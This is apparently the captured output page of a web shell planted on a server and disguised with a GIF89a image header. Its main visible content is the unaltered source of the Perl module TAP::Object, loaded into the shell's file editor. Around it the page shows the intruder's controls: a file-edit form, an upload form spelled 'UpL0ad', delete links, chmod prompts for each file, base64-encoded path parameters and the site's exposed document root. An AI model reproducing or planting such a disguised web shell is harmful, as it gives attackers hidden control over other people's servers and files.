GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Object.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA%3D&f=T2JqZWN0LnBt"><input name="f" value="Object.pm"><textarea name="t">package TAP::Object;

use strict;
use warnings;

=head1 NAME

TAP::Object - Base class that provides common functionality to all C&lt;TAP::*&gt; modules

=head1 VERSION

Version 3.44

=cut

our $VERSION = '3.44';

=head1 SYNOPSIS

    package TAP::Whatever;

    use strict;

    use base 'TAP::Object';

    # new() implementation by TAP::Object
    sub _initialize {
        my ( $self, @args) = @_;
        # initialize your object
        return $self;
    }

    # ... later ...
    my $obj = TAP::Whatever-&gt;new(@args);

=head1 DESCRIPTION

C&lt;TAP::Object&gt; provides a default constructor and exception model for all
C&lt;TAP::*&gt; classes.  Exceptions are raised using L&lt;Carp&gt;.

=head1 METHODS

=head2 Class Methods

=head3 C&lt;new&gt;

Create a new object.  Any arguments passed to C&lt;new&gt; will be passed on to the
L&lt;/_initialize&gt; method.  Returns a new object.

=cut

sub new {
    my $class = shift;
    my $self = bless {}, $class;
    return $self-&gt;_initialize(@_);
}

=head2 Instance Methods

=head3 C&lt;_initialize&gt;

Initializes a new object.  This method is a stub by default, you should override
it as appropriate.

I&lt;Note:&gt; L&lt;/new&gt; expects you to return C&lt;$self&gt; or raise an exception.  See
L&lt;/_croak&gt;, and L&lt;Carp&gt;.

=cut

sub _initialize {
    return $_[0];
}

=head3 C&lt;_croak&gt;

Raise an exception using C&lt;croak&gt; from L&lt;Carp&gt;, eg:

    $self-&gt;_croak( 'why me?', 'aaarrgh!' );

May also be called as a I&lt;class&gt; method.

    $class-&gt;_croak( 'this works too' );

=cut

sub _croak {
    my $proto = shift;
    require Carp;
    Carp::croak(@_);
    return;
}

=head3 C&lt;_confess&gt;

Raise an exception using C&lt;confess&gt; from L&lt;Carp&gt;, eg:

    $self-&gt;_confess( 'why me?', 'aaarrgh!' );

May also be called as a I&lt;class&gt; method.

    $class-&gt;_confess( 'this works too' );

=cut

sub _confess {
    my $proto = shift;
    require Carp;
    Carp::confess(@_);
    return;
}

=head3 C&lt;_construct&gt;

Create a new instance of the specified class.

=cut

sub _construct {
    my ( $self, $class, @args ) = @_;

    $self-&gt;_croak(&quot;Bad module name $class&quot;)
      unless $class =~ /^ \w+ (?: :: \w+ ) *$/x;

    unless ( $class-&gt;can('new') ) {
        local $@;
        eval &quot;require $class&quot;;
        $self-&gt;_croak(&quot;Can't load $class: $@&quot;) if $@;
    }

    return $class-&gt;new(@args);
}

=head3 C&lt;mk_methods&gt;

Create simple getter/setters.

 __PACKAGE__-&gt;mk_methods(@method_names);

=cut

sub mk_methods {
    my ( $class, @methods ) = @_;
    for my $method_name (@methods) {
        my $method = &quot;${class}::$method_name&quot;;
        no strict 'refs';
        *$method = sub {
            my $self = shift;
            $self-&gt;{$method_name} = shift if @_;
            return $self-&gt;{$method_name};
        };
    }
}

1;

</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl/5.38.2/TAP<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&x=QmFzZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=QmFzZS5wbQ=="/>Base.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=QmFzZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>2301</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvRm9ybWF0dGVy"/>Formatter</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=Rm9ybWF0dGVy&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvSGFybmVzcw=="/>Harness</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=SGFybmVzcw==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&x=SGFybmVzcy5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=SGFybmVzcy5wbQ=="/>Harness.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=SGFybmVzcy5wbQ==&c=`+btoa(c):0" value="0644"></td><td>29552</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&x=T2JqZWN0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=T2JqZWN0LnBt"/>Object.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=T2JqZWN0LnBt&c=`+btoa(c):0" value="0644"></td><td>2696</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVAvUGFyc2Vy"/>Parser</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=UGFyc2Vy&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&x=UGFyc2VyLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=UGFyc2VyLnBt"/>Parser.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9UQVA=&f=UGFyc2VyLnBt&c=`+btoa(c):0" value="0644"></td><td>52200</td></tr></table>